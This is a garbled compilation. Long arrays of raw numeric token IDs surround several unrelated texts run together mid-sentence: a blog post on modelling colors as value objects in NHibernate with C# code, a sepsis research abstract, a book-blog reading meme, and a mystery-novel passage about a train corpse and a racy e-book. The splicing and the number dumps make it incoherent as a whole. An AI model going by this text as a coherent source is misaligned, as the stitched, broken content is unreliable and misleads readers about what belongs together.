10480, 441, 715, 6153, 14429, 15, 2053, 31120, 14429, 840, 564, 327, 281, 9569, 8214, 8789, 13, 16984, 3533, 285, 3237, 326, 812, 4354, 320, 16371, 407, 24699, 2193, 1475, 3185, 15, 187, 187, 9301, 2129, 27, 533, 752, 670, 253, 12693, 32, 19154, 1877, 273, 33130, 84, 4702, 275, 37040, 285, 697, 5921, 342, 253, 12147, 273, 28464, 285, 1963, 12909, 15, 187, 25925, 1263, 432, 436, 5188, 556, 557, 39833, 14746, 13, 12389, 2921, 800, 4073, 285, 616, 2954, 342, 16011, 15979, 281, 253, 12147, 273, 28464, 285, 1963, 12909, 15, 28995, 536, 1100, 403, 1929, 281, 10808, 37040, 16162, 30678, 313, 11502, 84, 10, 4702, 3066, 1959, 26875, 5978, 15, 25411, 14, 18166, 273, 37040, 5644, 281, 253, 2559, 33130, 84, 4702, 390, 18860, 17998, 273, 33130, 84, 651, 2779, 2572, 253, 2495, 273, 6753, 14, 25499, 1197, 5978, 1411, 33130, 84, 4295, 285, 1146, 13730, 5506, 323, 253, 28464, 12147, 285, 1963, 12909, 15, 380, 1246, 1263, 369, 20023, 281, 2007, 2939, 253, 3708, 273, 33130, 84, 4702, 285, 616, 5921, 342, 12147, 273, 28464, 13, 342, 253, 16011, 285, 1963, 12909, 15, 380, 1268, 273, 33130, 84, 4702, 13, 3882, 3727, 13, 30595, 511, 3727, 13, 285, 10142, 16011, 369, 3413, 275, 5096, 28464, 1363, 285, 5329, 5875, 15986, 15, 7160, 50137, 342, 1963, 3602, 285, 12485, 342, 28464, 12147, 497, 671, 7515, 15, 33130, 84, 4702, 3368, 369, 4824, 562, 285, 352, 369, 3012, 2169, 275, 28464, 313, 1967, 2673, 2429, 281, 1453, 313, 1229, 10970, 33130, 84, 2462, 497, 14962, 9578, 342, 12147, 273, 28464, 285, 1963, 12909, 15, 25065, 434, 5921, 10235, 5183, 247, 1480, 5886, 875, 33130, 84, 4295, 285, 1963, 3602, 342, 322, 2265, 261, 12147, 7363, 15, 33130, 84, 4702, 310, 3012, 2169, 1955, 281, 534, 352, 310, 15979, 281, 253, 28464, 12147, 285, 1963, 4433, 15, 21096, 281, 23556, 56, 8330, 2, 831, 1167, 70, 369, 20975, 17386, 407, 45722, 35, 387, 329, 13992, 416, 14292, 285, 43941, 1060, 327, 21525, 327, 247, 3645, 273, 36671, 15, 3771, 3662, 253, 1264, 3533, 2708, 285, 3553, 247, 3048, 281, 634, 1501, 275, 253, 5701, 323, 2571, 281, 1007, 387, 15, 1621, 5311, 32, 1621, 1895, 2, 3771, 3553, 247, 4385, 342, 634, 6128, 15, 7764, 13, 1379, 690, 673, 281, 4143, 253, 643, 5014, 285, 923, 752, 2571, 403, 4361, 15, 1893, 13, 1339, 457, 84, 755, 281, 352, 2, 187, 187, 510, 9064, 411, 84, 403, 27, 187, 187, 1276, 403, 368, 4390, 4361, 32, 1737, 858, 368, 4102, 8416, 4361, 32, 1737, 513, 368, 1158, 368, 457, 620, 1239, 1735, 32, 187, 187, 8497, 27, 1198, 4212, 273, 20299, 17166, 24960, 13, 309, 457, 78, 7591, 281, 4385, 327, 634, 9319, 347, 247, 31198, 38816, 5734, 368, 457, 306, 11410, 9424, 16, 9715, 5701, 15, 831, 310, 247, 1929, 31198, 16, 48943, 17166, 2523, 15, 7764, 1908, 17690, 436, 281, 10078, 625, 4751, 275, 253, 3114, 15, 187, 187, 26747, 4361, 27, 309, 3597, 533, 1335, 1160, 8723, 4780, 275, 2325, 4202, 30979, 36194, 407, 743, 1962, 70, 3689, 15, 309, 457, 78, 4030, 342, 352, 1146, 247, 3468, 564, 13, 1663, 15, 309, 943, 2619, 12217, 299, 15592, 13, 2167, 2866, 187, 42, 369, 2104, 281, 10660, 329, 25005, 273, 322, 12113, 407, 6086, 416, 15, 51, 15, 8698, 323, 1529, 1643, 3618, 15, 309, 457, 78, 1146, 28684, 670, 849, 1142, 22916, 309, 457, 620, 755, 949, 15, 187, 16812, 327, 2186, 342, 329, 15382, 22071, 7733, 273, 659, 7215, 272, 2588, 3750, 407, 16908, 30112, 398, 15, 187, 42, 457, 78, 1077, 2810, 281, 19083, 418, 1094, 273, 48774, 407, 9271, 5830, 378, 1402 ]

looks content with what we built over the last few days, until we show her the user interface that manages the colors. “I’m rather busy so I often make mistakes when I take care of these administrative tasks, could you add a button to really delete a color from this list anyway?” This brings us back to square one. First thing we think about is soft deleting the colors. We could also only make it possible to remove a color if it hasn’t been referenced yet. A voice in the back of our heads keeps telling us that we must be missing something though, and that this seems to be harder than it should be. A few hours later, driving home after a tough day, it becomes obvious that the CEO really thinks of a color as a value instead of an entity, so we should really be modeling it as such. Color as a component Luckily, NHibernate makes this pretty simple. The next day, we arrive early at the office, and change our mapping to use a component, so that instead of the car referencing a color, we store the value, and lose the id. public class CarClassMap : ClassMap < Car > { public CarClassMap () { Id ( x => x. Id ). GeneratedBy. HiLo ( "10" ); Component ( x => x. Color, m => { m. Map ( x => x. Name ). Column ( "ColorName" ). Length ( 30 ). Not. Nullable (); m. Map ( x => x. HexadecimalNotation ). Column ( "ColorHex" ). Length ( 7 ). Not. Nullable (); }); } } The generated schema now looks like this; we’re no longer referencing the Color table. When we store a color now, it’s an entity. But as soon as we put it on a car, it’s a value object. When we pull the car back out of our persistence store, we have lost the identity. We should modify our code so that the color’s behaviour reflects these changes. We modify the default constructor so that the object gets initialized with a default identifier. The default constructor will get used by NHibernate when it hydrates the object after getting it out the persistence store. We override the Equals and GetHashCode methods so that the identifiers are compared when there’s an identity, but when the identifier isn’t hydrated, the values are compared. public class Color { public Color ( string name, string hexadecimalNotation ) { if ( string. IsNullOrEmpty ( name )) throw new ArgumentNullException ( "name" ); if ( string. IsNullOrEmpty ( hexadecimalNotation )) throw new ArgumentNullException ( "hexadecimalNotation" ); Name = name ; HexadecimalNotation = hexadecimalNotation ; } protected Color () { Id = - 1 ; } public virtual int Id { get ; protected set ; } public virtual string Name { get ; protected set ; } public virtual string HexadecimalNotation { get ; protected set ; } public override bool Equals ( object obj ) { if ( obj == null ) return false ; var color = obj as Color ; if ( color == null ) return false ; if ( Id!= - 1 ) return Id == color. Id ; return Name == color. Name && HexadecimalNotation == color. HexadecimalNotation ; } public override int GetHashCode () { if ( Id!= - 1 ) return Id. GetHashCode (); return Name. GetHashCode () & HexadecimalNotation. GetHashCode (); } } This feels off though; using one concept in two different contexts makes things rather confusing. Is color an entity, or value object? Or does it depend? Separate concepts We extract two explicit concepts instead; a color as a value object, and an available color as an entity. public class AvailableColor { public AvailableColor ( string name, string hexadecimalNotation ) { if ( string. IsNullOrEmpty ( name )) throw new ArgumentNullException ( "name" ); if ( string. IsNullOrEmpty ( hexadecimalNotation )) throw new ArgumentNullException ( "hexadecimalNotation" ); Name = name ; HexadecimalNotation = hexadecimalNotation ; } protected AvailableColor () { } public virtual int Id { get ; protected set ; } public virtual string Name { get ; protected set ; } public virtual string HexadecimalNotation { get ; protected set ; } public static explicit operator Color ( AvailableColor value ) { return new Color ( value. Name, value. HexadecimalNotation ); } public override bool Equals ( object obj ) { if ( obj == null ) return false ; var color = obj as AvailableColor ; if ( color == null ) return false ; return color. Id == Id ; } public override int GetHashCode () { return Id. GetHashCode (); } } public class Color { public Color ( string name, string hexadecimalNotation ) { if ( string. IsNullOrEmpty ( name )) throw new ArgumentNullException ( "name" ); if ( string. IsNullOrEmpty ( hexadecimalNotation )) throw new ArgumentNullException ( "hexadecimalNotation" ); Name = name ; HexadecimalNotation = hexadecimalNotation ; } protected Color () { } public virtual string Name { get ; protected set ; } public virtual string HexadecimalNotation { get ; protected set ; } public override bool Equals ( object obj ) { if ( obj == null ) return false ; var color = obj as Color ; if ( color == null ) return false ; return Name == color. Name && HexadecimalNotation == color. HexadecimalNotation ; } public override int GetHashCode () { return Name. GetHashCode () & HexadecimalNotation. GetHashCode (); } } This looks better. We now have two explicit concepts. An explicit conversion allows you to get a color out of an available color, losing the identifier. var availableColorOrange = new AvailableColor ( "Orange", "#CC3232" ); var car = new Car (( Color ) availableColorOrange ); Console. WriteLine ( car. Color. Equals ( new Color ( "Orange", "#CC3232" ))); // true Conclusion We meet up with the CEO one last time, and show her what we reworked. When we demo how she can manage the collection of available colors by just adding and deleting them - without caring whether one of the cars came in that color, a smile shows up on her face; “This is exactly what I needed, it really shouldn’t be harder than this.” Tools often trick us into creating entities. These accidental entities then go on to introduce expensive coupling, introducing questions and problems that could easily be avoided by copying values around instead. Next week: but what about the UI?Quantification of NETs formation in neutrophil and its correlation with the severity of sepsis and organ dysfunction. Previous study from this lab has discerned oxidative, nitrosative stress and their relationship with cytokines contributing to the severity of sepsis and organ dysfunction. Cytokines are known to induce neutrophil extracellular traps (NETs) formation via free radicals generation. Hyper-activation of neutrophil leads to the increased NETs formation or ineffective clearance of NETs would likely increase the risk of auto-antibody generation against NETs components and being partly responsible for the sepsis severity and organ dysfunction. The present study was undertaken to further assess the status of NETs formation and their correlation with severity of sepsis, with the cytokines and organ dysfunction. The level of NETs formation, DNA release, elastase release, and inflammatory cytokines was determined in 80 sepsis patients and 45 healthy volunteers. Their linearity with organ parameters and associations with sepsis severity were also assessed. NETs formation experiment was carried out and it was significantly higher in sepsis (70%) compared to control (30%). NETs % were positively correlated with severity of sepsis and organ dysfunction. Pearson's correlation coefficient demonstrated a direct relation between NETs components and organ parameters with Sepsis severity scores. NETs formation is significantly higher due to which it is contributing to the sepsis severity and organ failure.Welcome to WWW Wednesday! This meme was formerly hosted by MizB at A Daily Rhythm and revived here on Taking on a World of Words. Just answer the three questions below and leave a link to your post in the comments for others to look at. No blog? No problem! Just leave a comment with your responses. Please, take some time to visit the other participants and see what others are reading. So, let’s get to it! The Three Ws are: What are you currently reading? What did you recently finish reading? What do you think you’ll read next? Note: For users of Blogspot blogs, I’m unable to comment on your posts as a WordPress blogger unless you’ve enabled Name/URL comments. This is a known WordPress/Blogspot issue. Please consider enabling this to participate more fully in the community. Currently reading: I tried but still made minimal progress in Becoming Madame Mao by Anchee Min. I’m fine with it being a slow go, really. I should pick shorter ebooks, though… I was able to renew A Storm of Swords by George R.R. Martin for another few weeks. I’m being optimistic about how many disks I’ll get through. Still on hold with A Heartbreaking Work of Staggering Genius by Dave Eggers. I’m very close to finishing Lair of Dreams by Libba Bray

[ 309, 15433, 12469, 376, 5821, 281, 9569, 479, 984, 703, 369, 14442, 323, 619, 1361, 2464, 187, 187, 8, 7093, 1361, 5554, 187, 187, 8, 17833, 15, 844, 30746, 672, 309, 2335, 617, 281, 253, 5453, 1113, 846, 703, 4829, 5103, 326, 5599, 2464, 187, 187, 35384, 336, 13, 6306, 7496, 689, 28753, 434, 2168, 5412, 2133, 15, 187, 187, 2374, 253, 643, 1133, 13, 17052, 369, 320, 6748, 327, 20882, 434, 5170, 5541, 15, 686, 37858, 15, 309, 3524, 703, 1904, 626, 755, 326, 2934, 15, 309, 1599, 13, 12469, 376, 434, 3768, 2920, 1711, 285, 436, 310, 247, 2825, 1984, 2464, 187, 187, 42, 5485, 619, 6208, 281, 4151, 253, 1652, 2500, 47952, 326, 1014, 247, 3416, 273, 12469, 376, 434, 7269, 2363, 13, 534, 309, 24242, 281, 320, 2393, 323, 2890, 13, 1335, 574, 2825, 15, 187, 187, 1898, 840, 309, 12659, 703, 8505, 1904, 626, 15, 2058, 1878, 13, 417, 342, 617, 5938, 15, 187, 187, 8116, 275, 253, 14343, 1113, 13, 309, 42273, 253, 32217, 285, 17860, 352, 2439, 432, 253, 3369, 273, 253, 2316, 5464, 835, 28753, 434, 2133, 2242, 15, 322, 2835, 1066, 13, 309, 3597, 281, 4677, 562, 752, 281, 513, 342, 253, 25288, 15, 1623, 253, 5254, 13, 352, 369, 1512, 2080, 1977, 432, 479, 281, 4354, 3986, 15, 8948, 309, 1871, 816, 1790, 327, 253, 5254, 1735, 281, 352, 15, 187, 187, 18765, 309, 1871, 25262, 3578, 2909, 273, 619, 1495, 1469, 896, 281, 755, 253, 32217, 13, 387, 1878, 619, 7827, 342, 20882, 574, 644, 25441, 2980, 15, 1310, 253, 5772, 369, 281, 320, 6566, 13, 344, 1871, 6786, 3253, 344, 1871, 3078, 672, 344, 1871, 873, 3174, 327, 253, 1685, 27, 417, 760, 369, 627, 642, 1984, 31196, 432, 28753, 285, 3619, 9456, 84, 13, 533, 344, 1871, 14049, 247, 17541, 5570, 15, 187, 187, 7130, 281, 20882, 13, 253, 3302, 3057, 342, 33313, 574, 644, 3066, 4579, 1108, 2761, 5604, 253, 20387, 2473, 3935, 33313, 574, 5393, 15, 2635, 13, 275, 27579, 323, 20882, 434, 8596, 1309, 436, 594, 14, 8890, 20705, 5107, 344, 574, 686, 77, 20044, 715, 4117, 12469, 376, 574, 5611, 29781, 4261, 8406, 281, 5570, 15, 187, 187, 36, 20100, 8715, 626, 2568, 644, 13781, 407, 20882, 672, 32069, 7513, 285, 309, 1313, 342, 253, 17541, 5570, 275, 253, 17552, 1113, 533, 13, 1677, 521, 44873, 273, 253, 5772, 13, 5082, 626, 352, 452, 1160, 3282, 281, 4151, 441, 273, 436, 747, 2440, 32, 187, 187, 11175, 253, 14638, 9761, 8594, 434, 3564, 10345, 626, 3240, 347, 4076, 347, 344, 1871, 751, 952, 281, 2868, 15, 187, 187, 42, 439, 7782, 13, 8423, 1077, 9995, 32069, 7513, 574, 5125, 309, 2986, 562, 275, 253, 14343, 1113, 13, 1014, 604, 697, 760, 643, 45628, 369, 247, 35093, 15, 2207, 5046, 984, 273, 326, 15, 187, 187, 46081, 253, 32217, 562, 273, 253, 1039, 13, 309, 4425, 253, 1682, 1659, 281, 1790, 369, 342, 619, 896, 1411, 253, 3402, 273, 253, 2316, 5464, 2439, 253, 6891, 25506, 432, 28753, 434, 1108, 436, 5747, 253, 26321, 34247, 417, 3240, 6221, 3304, 15, 1292, 436, 1039, 13, 387, 1878, 13, 309, 812, 35766, 1978, 247, 10844, 5130, 327, 326, 3369, 347, 973, 347, 253, 3345, 10463, 285, 253, 11008, 4283, 281, 253, 15828, 1113, 15, 187, 187, 1989, 806, 1051, 187, 187, 48182, 4704, 275, 619, 1133, 13, 309, 22803, 1527, 253, 3369, 2439, 432, 28753, 434, 13, 22980, 326, 2316, 5464, 347, 32069, 7513, 285, 12143, 336, 574, 15, 187, 187, 510, 2317, 369, 6325, 13, 273, 2282, 15, 7243, 309, 10141, 326, 581, 13, 2167, 13, 309, 3543, 751, 309, 574, 281, 513, 253, 2571, 13, 816, 281, 320, 2119, 15, 309, 2427, 1066, 581, 1930, 273, 253, 1113, 285, 715, 1097, 16846, 9956, 13, 619, 1335, 14, 69, 1301, 7537, 932, 7392, 272, 327, 253, 28390, 15, 2635, 309, 4307, 619, 1039, 896, 598, 281, 253, 2317, 835, 28753, 434, 2133, 2242, 15, 187, 187, 42, 22803, 1527, 253, 3369, 285, 13, 5877, 619, 6345, 13, 12293, 689, 253, 767, 34724, 272, 924, 438, 2510, 285, 715, 253, 2316, 15, 28753, 369, 327, 253, 32366, 13, 273, 2282, 13, 11372, 1977, 432, 479, 751, 344, 369, 1335, 816, 295, 5436, 15, 187, 187, 42, 246, 9155, 80, 264, 37335, 13, 1335, 2820, 417, 281, 23233, 13, 285, 1128, 187, 187, 8, 29033, 4233, 5554, 187, 187, 42, 16780, 896, 285, 3531, 13, 12976, 253, 5654, 13, 534, 369, 1024, 4886, 275, 20319, 342, 619, 18577, 1133, 15, 686, 42846, 10739, 13, 5767, 90, 2, 1422, 16060, 479, 281, 2471, 15, 1737, 403, 368, 2509, 275, 1060, 5554, 187, 187, 14866, 90, 3261, 8513, 15, 686, 4497, 13, 309, 19336, 327, 253, 3369, 281, 1918, 368, 436, 13, 533, 309, 1904, 626, 4089, 667, 3662, 2464, 187, 187, 2993, 369, 5877, 562, 271, 299, 14, 28011, 15, 686, 42, 1849, 1694, 247, 7020, 273, 5098, 10607, 327, 352, 285, 309, 15433, 352, 651, 1361, 368, 1509, 253, 673, 15, 5531, 13, 285, 309, 671, 1691, 247, 346, 19515, 6282, 3, 861, 327, 253, 643, 1930, 273, 253, 3369, 2464, 187, 187, 3220, 2798, 14, 4427, 31206, 2584, 15539, 14, 12850, 1319, 15, 686, 8061, 13, 5767, 90, 1108, 326, 434, 1077, 5322, 273, 368, 2464, 309, 2335, 253, 9414, 15, 686, 1898, 309, 1353, 7016, 309, 28435, 15, 1244, 13, 973, 13, 2761, 5103, 368, 15, 309, 1364, 452, 644, 387, 253, 643, 990, 273, 253, 1113, 12669, 253, 39426, 672, 368, 19336, 2464, 187, 187, 8, 2302, 13, 309, 1353, 253, 581, 665, 943, 320, 7016, 4117, 5767, 90, 753, 13, 617, 2927, 973, 272, 598, 15, 686, 1989, 672, 368, 1904, 626, 3662, 13, 309, 369, 11926, 2464, 187, 187, 8, 42, 11435, 326, 15, 309, 369, 816, 2403, 2119, 3253, 369, 7895, 2464, 187, 187, 2993, 17377, 689, 387, 253, 32366, 13, 617, 11480, 1488, 45252, 285, 617, 1735, 3000, 247, 1652, 23457, 1070, 15, 686, 5804, 359, 755, 562, 273, 1060, 5554, 187, 187, 8, 3378, 11284, 2464, 309, 1339, 617, 8436, 70, 479, 562, 253, 3369, 15, 686, 1898, 5717, 368, 969, 2464, 309, 2918, 598, 253, 299, 14, 28011, 15, 187, 187, 14866, 90, 11373, 15, 686, 1394, 1472, 10112, 15, 13516, 281, 253, 3369, 285, 1067, 562, 604, 368, 878, 2712, 2464, 187, 187, 8, 42, 588, 15, 9375, 2464, 1284, 703, 3531, 1977, 13, 309, 4571, 626, 11623, 3981, 13, 686, 42, 8344, 368, 5015, 342, 26411, 15, 754, 3133, 751, 247, 5322, 5599, 2464, 16513, 20882, 15, 686, 1898, 1663, 1175, 14, 13565, 2464, 187, 187, 8, 42, 9428, 13, 533, 1512, 2872, 15, 1244, 247, 46216, 2464, 187, 187, 3220, 13, 619, 13, 533, 253, 9243, 5978, 369, 2619, 90, 15, 686, 23631, 556, 281, 1265, 9366, 2464, 187, 187, 14866, 90, 31505, 264, 15, 686, 8389, 1524, 1416, 310, 29040, 15, 309, 3047, 779, 387, 253, 10301, 1390, 2129, 285, 2546, 604, 344, 1871, 751, 281, 6233, 690, 4465, 2583, 2464, 187, 187, 8, 2773, 369, 7060, 2464, 187, 187, 8, 1394, 1472, 7746, 479, 15, 1422, 871, 849, 1199, 352, 4815, 281, 16263, 247, 5702, 44693, 3109, 32, 1244, 309, 8686, 512, 253, 26375, 387, 12805, 1940, 2464, 187, 187, 1394, 574, 281, 1918, 253, 3416, 6152, 15, 1500, 3260, 849, 281, 13726, 247, 14838, 15, 309, 13937, 352, 5082, 626, 1705, 896, 281, 18470, 617, 275, 253, 830, 273, 33563, 407, 253, 16479, 327, 253, 6194, 285, 1014, 253, 6194, 2567, 3139, 15, 187, 187, 7371, 369, 1529, 1921, 309, 1871, 3078, 562, 273, 2362, 7219, 27, 253, 9781, 604, 1633, 2427, 3768, 610, 15, 2058, 1878, 309, 1871, 644, 30746, 285, 574, 247, 13739, 6306, 3212, 479, 15, 1310, 309, 497, 5767, 90, 13, 309, 5082, 626, 1902, 247, 2644, 2257, 273, 1329, 432, 1503, 3703, 15, 187, 187, 4553, 253, 2872, 3416, 1669, 13, 309, 11371, 4830, 253, 5254, 15, 1294, 2784, 253, 5654, 1411, 619, 987, 33845, 13, 309, 5055, 598, 617, 299, 14, 28011, 15, 187, 187, 2993, 3589, 626, 29521, 670, 253, 5098, 15, 329, 7020, 273, 731, 285, 13, 275, 253, 5878, 13, 690, 273, 12447, 3454, 11128, 25185, 434, 15, 187, 187, 688, 6547, 1051, 309, 660, 9095, 1066, 15, 6279, 13, 795, 16212, 1170, 285, 10871, 272, 4414, 187, 187, 4015, 18197, 619, 896, 1411, 253, 3402, 13, 309, 39214, 598, 253, 1984, 3835, 15, 2951, 14743, 13, 275, 3139, 15, 329, 3416, 275, 2502, 16269, 13, 247, 4370, 23966, 1475, 617, 7623, 285, 247, 34203, 275, 617, 1133, 15, 329, 637, 434, 16867, 2133, 369, 2716, 14, 19057, 275, 20586, 13, 253, 5253, 273, 247, 7154, 3497, 327, 253, 5254, 10151, 15, 187, 187, 42, 3261, 1475, 15457, 1031, 13, 751, 309, 369, 13265, 285, 4361, 253, 2393, 6200, 275, 27264, 367, 7958, 80, 434, 795, 510, 2656, 13453, 64, 1157, 835, 11832, 5134, 285, 253, 1308, 1487, 50147, 1051, 973, 13, 368, 871, 15, 309, 25363, 281, 253, 1735, 3239, 15, 2053, 299, 14, 1088, 398, 497, 1270, 1108, 16397, 13, 8637, 13, 795, 395, 64, 597, 4571, 626, 26187, 2965, 1527, 281, 253, 42028, 7223, 368, 1849, 1239, 15, 1244, 294, 1088, 15, 187, 187, 510, 806, 8857, 369, 247, 2257, 273, 873, 14, 484, 15, 309, 14076, 939, 264, 13, 42163, 253, 21434, 281, 36811, 6386, 15, 187, 187, 64, 47027, 5485, 253, 3369, 13, 8958, 752, 703, 3078, 533, 417, 604, 703, 574, 253, 11083, 281, 1379, 352, 15, 754, 369, 10776, 327, 253, 3722, 10268, 253, 3497, 13, 521, 4808, 1289, 382, 2980, 275, 253, 46826, 15, 380, 5024, 273, 253, 3168, 8335, 4950, 521, 5882, 13, 16867, 1289, 2279, 15, 13593, 3078, 1108, 703, 26426, 3058, 1108, 281, 1408, 617, 9881, 2112, 253, 6970, 273, 731, 3333, 187, 187, 64, 1909, 13593, 4925, 562, 13, 253, 637, 391, 24695, 15, 2951, 2784, 896, 13, 703, 9047, 432, 253, 20586, 347, 344, 14436, 4830, 521, 896, 13, 10430, 253, 8335, 37032, 281, 253, 5254, 3333, 187, 187, 64, 47027, 4829, 39787, 33454, 15, 1500, 4395, 3579, 13, 6179, 323, 779, 281, 16359, 1078, 703, 1339, 617, 29584, 12345, 5181, 13, 30749, 521, 1364, 2679, 285, 11233, 15, 380, 6970, 273, 253, 7623, 46891, 281, 521, 13386, 3333, 187, 187, 64, 1044, 438, 14, 394, 438, 13, 289, 438, 14, 394, 438, 13, 289, 438, 1051, 64, 187, 187, 64, 510, 10724, 8423, 6331, 762, 617, 48803, 3333, 187, 187, 64, 12309, 14050, 13, 13593, 10090, 617, 1133, 6507, 1411, 521, 9081, 15, 1500, 369, 33632, 1024, 13, 281, 1928, 1633, 13, 2712, 3304, 3333, 187, 187, 64, 34, 892, 12216, 15, 3105, 3240, 247, 7171, 13, 625, 247, 1051, 2500, 2682, 32, 7243, 13, 7019, 13, 1264, 2069, 15, 733, 8899, 10046, 285, 840, 10046, 969, 13, 29116, 715, 247, 19407, 1078, 41203, 281, 18783, 896, 327, 3139, 13, 294, 4399, 272, 281, 5492, 7938, 13, 13590, 2584, 247, 16907, 19455, 36098, 68, 10081, 3333, 187, 187, 64, 5872, 13, 816, 347, 13593, 1869, 617, 1211, 9081, 651, 12948, 13, 521, 858, 15, 378, 953, 273, 4408, 285, 25548, 6821, 12376, 4830, 253, 3497, 41288, 13, 41203, 281, 278, 33202, 342, 253, 9313, 6126, 1170, 1066, 253, 3345, 273, 253, 5253, 3333, 187, 187, 64, 47027, 2918, 617, 1133, 598, 275, 2914, 273, 617, 13, 2820, 281, 2096, 752, 574, 816, 4592, 15, 14169, 285, 1633, 5026, 285, 3168, 6107, 617, 9881, 3333, 187, 187, 64, 34, 4866, 7270, 13593, 434, 5130, 15, 1500, 3261, 1066, 715, 253, 637, 434, 1527, 9081, 285, 1051, 352, 3261, 896, 387, 617, 3333, 187, 187, 64, 34, 15548, 15, 7900, 20681, 28753, 434, 2798, 943, 320, 3333, 187, 187, 817, 4392, 3027, 25090, 14, 11147, 187, 187, 8, 28412, 1977, 432, 253, 2963, 249, 555, 990, 11388, 309, 28435, 13, 619, 1481, 10805, 896, 1411, 253, 3402, 13, 31582, 479, 15, 187, 187, 24397, 1475, 13, 309, 13308, 323, 619, 1211, 2798, 281, 16359, 896, 715, 619, 9081, 15, 4146, 25037, 21986, 275, 432, 253, 8323, 407, 253, 20229, 487, 1657, 3369, 285, 309, 812, 4089, 15547, 1108, 604, 417, 39567, 13, 387, 1878, 45462, 314, 9338, 1108, 275, 253, 15828, 1113, 4457, 15, 187, 187, 40942, 13, 309, 1871, 11522, 745, 285, 7303, 281, 13398, 776, 1655, 4112, 285 ]

I figured Audra agreed to introduce me because she was grateful for my help.' 'Your help?' 'Sure. We bonded when I took her to the club car after she nearly shot that guy.' Boyce, standing guard over Potter's already cold body. On the other hand, sweat was beading on Danny's upper lip. 'Shit. I hope she didn't get that idea. I mean, Audra's awfully old and this is a sex book.' I opened my mouth to inform the little twerp that even a woman of Audra's advanced age, which I judged to be early forties, still had sex. And then I remembered she apparently didn't. At least, not with her husband. Back in the sleeping car, I unfolded the stool and situated it across from the door of the roomette where Potter's body lay. Sitting down, I tried to figure out what to do with the pistol. On the floor, it was too far away from me to easily reach. Maybe I'd just sit on the floor next to it. Though I'd wasted ten minutes of my life going back to get the stool, at least my conversation with Danny had been enlightening. If the kid was to be believed, he'd achieved everything he'd wanted when he'd set foot on the bus: not only was there no book forthcoming from Potter and Edmonds, but he'd secured a literary agent. According to Danny, the initial contact with Carson had been via email – almost certainly the accusatory message Carson had mentioned. Then, in gratitude for Danny's aid during this so-called bonding opportunity he had 'lucked into,' Audra had introduced aspiring writer to agent. Carson hadn't yet been approached by Danny when Pavlik and I met with the literary agent in the dining car but, given his suspicions of the kid, wouldn't it have made sense to inform us of this new development? Maybe the germaphobe's hands weren't quite as clean as he'd like people to believe. I shivered, suddenly very glad Pavlik had suggested I camp out in the sleeping car, even if its only other occupant was a corpse. Or maybe because of that. Moving the stool out of the way, I decided the best place to sit was with my back against the wall of the roomette across the narrow corridor from Potter's – this despite the nasty smells not quite contained inside. But this way, at least, I could comfortably keep a peripheral eye on that door as well as the outside exit and the doors leading to the passenger car. But first... Gun ready in my hand, I slid open the door across from Potter's, clearing that roomette as Pavlik and Boyce had. The space was empty, of course. Once I checked that one, though, I felt like I had to do the others, just to be sure. I went down one side of the car and into both shower rooms, my still-damp sandals echoing on the tiles. Then I worked my way back up to the space where Potter's body lay. I slid open the door and, holding my breath, stepped over the two frosting smudges and into the room. Potter was on the bunk, of course, faced away from me like he was still just napping. I tiptoed nearer, still trying not to breathe, and— 'Maggy?' I jumped back and turned, raising the gun, which was now moving in sync with my shaking hand. 'Holy shit, Missy! You scared me to death. What are you doing in here?' Missy looked hurt. 'Well, I knocked on the door to give you this, but I didn't hear any answer.' She was holding out an e-reader. 'I've got a ton of books loaded on it and I figured it would help you pass the time. Oh, and I also put a "Keep Out" sign on the other side of the door.' My heart-rate descended toward quasi-normality. 'Thanks, Missy – that's very nice of you.' I took the reader. 'And I'm sorry I yelled. And, well, almost shot you. I must have been at the other end of the car checking the showers when you knocked.' 'No, I'm the one who should be sorry,' Missy said, her eyes welling up. 'But when you didn't answer, I was worried.' 'I appreciate that. I was just making sure everything was secure.' She glanced over at the bunk, her nose wrinkling and her next words a little strangled. 'Can we get out of here?' 'With pleasure.' I let her precede me out the door. 'And thank you again.' I held up the e-reader. Missy smiled. 'You're welcome. Come to the door and call out if you need anything.' 'I will. Thanks.' As she turned away, I couldn't resist saying, 'I noticed you talking with Pete. He seems like a nice guy.' Unlike Danny. 'And really good-looking.' 'I suppose, but too young. And a waiter.' My, my, but the younger generation was picky. 'Everyone has to start somewhere.' Missy sniffed. 'His real name is Brandon. I saw him at the restaurant last week and asked if he'd like to earn some extra money.' 'That was smart.' 'You're telling me. You know how much it costs to hire a professional bartender? And I bought all the liquor at Costco.' You had to give the woman credit. She knew how to stretch a dollar. I hoped it wouldn't come back to bite her in the form of lawsuits by the passengers on the train and even the train company itself. Which was another reason I'd wanted out of event planning: the liability if something went awry. At least I'd been bonded and had a corporation standing behind me. If I were Missy, I wouldn't expect a whole lot of support from Zoe. After the young woman left, I settled onto the floor. Propping the gun against my right thigh, I picked up her e-reader. She wasn't kidding about the books. A ton of them and, in the mix, some of Rosemary Darlington's. Including... I scrolled down. Yes, _Breaking and Entering_. Leaning my back against the wall, I punched up the book cover. Steamy, in itself. A woman in red leather, a dog collar around her neck and a whip in her hand. A man's naked body was half-hidden in shadows, the glass of a broken window on the floor nearby. I looked around guiltily, like I was twelve and reading the early scene in Mario Puzo's _The Godfather_, where Sonny and the bridesmaid... well, you know. I clicked to the next page. These e-readers were great – convenience, discretion, _and_ they couldn't accidentally fall open to the spicy pages you've read. And reread. The first chapter was a lot of set-up. I yawned, resisting the urge to peek ahead. _Kat opened the door, knowing what she wanted but not if she had the nerve to take it. He was lying on the bed facing the window, his skin glistening in the moonlight. The edge of the white sheet revealed his firm, naked glutes. Kat wanted – she desperately needed – to run her fingers along the curve of them._ _As Kat reached out, the man roused. Stepping back, she watched from the shadows as he rolled onto his back, sending the sheet slipping to the floor._ _Kat nearly gasped aloud. She moved forward, waiting for him to settle before she let her nails barely touch, tracing his mustache and lips. The curve of the neck cords to his throat._ _Thud-thud, thud-thud, thud..._ _The pulse suddenly stopped under her fingertips._ _Panicked, Kat laid her hand flat against his chest. She was praying now, to feel something, anything inside._ _A flutter. Not quite a beat, more a... twitch? Once, twice, three times. It grew stronger and then stronger again, settling into a rhythm before seeming to coil back on itself, regrouping to race faster, heading toward a seemingly inevitable crescendo._ _Then, just as Kat thought her own chest would burst, his did. Bits of tissue and cartilage splattered onto the window pane, seeming to mingle with the rain streaking down the outside of the glass._ _Kat held her hand up in front of her, trying to understand what had just happened. Blood and something thick and white covered her fingers._ _A movement caught Kat's eye. She looked down into the man's open chest and... it looked back at her._ _A python. Where Larry Potter's heart should be._ ## THIRTY-ONE 'Stay away from the pointy end!' I yelled, my head falling back against the wall, waking me. Looking around, I waited for my own heart to settle back into my chest. Sunshine poured in from the windows by the vestibule door and I could hear voices – if not 